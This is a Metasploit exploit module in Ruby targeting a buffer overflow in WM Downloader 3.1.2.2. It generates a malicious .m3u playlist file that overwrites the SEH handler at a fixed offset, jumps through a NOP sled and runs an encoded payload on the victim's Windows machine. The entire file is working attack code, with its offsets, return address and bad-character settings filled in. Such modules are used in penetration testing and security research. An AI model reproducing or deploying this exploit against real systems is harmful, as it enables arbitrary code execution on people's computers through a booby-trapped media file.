##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::FILEFORMAT

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'WM Downloader 3.1.2.2 Buffer Overflow',
      'Description'    => %q{
          This module exploits a buffer overflow in WM Downloader v3.1.2.2. When
        the application is used to import a specially crafted m3u file, a buffer overflow occurs
        allowing arbitrary code execution.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'fdisk', 	# Original Exploit
          'dookie'	# MSF Module
        ],
      'References'     =>
        [
          [ 'OSVDB', '66911'],
          [ 'EDB', '14497' ],
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'seh',
          'DisablePayloadHandler' => 'true',
        },
      'Payload'        =>
        {
          'Space'    => 1000,
          'BadChars' => "\x00\x09\x0a",
          'StackAdjustment' => -3500
        },
      'Platform' => 'win',
      'Targets'        =>
        [
          [ 'Windows Universal', { 'Ret' => 0x1001060C, 'Offset' => 43480 } ],	# p/p/r in WDfilter03.dll
        ],
      'Privileged'     => false,
      'DisclosureDate' => 'Jul 28 2010',
      'DefaultTarget'  => 0))

    register_options(
      [
        OptString.new('FILENAME', [ false, 'The file name.', 'msf.m3u']),
      ], self.class)

  end

  def exploit

    sploit = rand_text_alpha_upper(43480)	# Offset for WinXP
    sploit << "\xeb\x20\x90\x90"		# Jump to the nops after the 2nd offset
    sploit << [target.ret].pack('V')	# Offset
    sploit << rand_text_alpha_upper(16)	# Pad to reach the Win7 Offset
    sploit << "\xeb\x0C\x90\x90" 		# Jump over the cruft
    sploit << [target.ret].pack('V')	# Offset
    sploit << "\x90" * 8
    sploit << payload.encoded

    print_status("Creating '#{datastore['FILENAME']}' file ...")

    file_create(sploit)

  end

end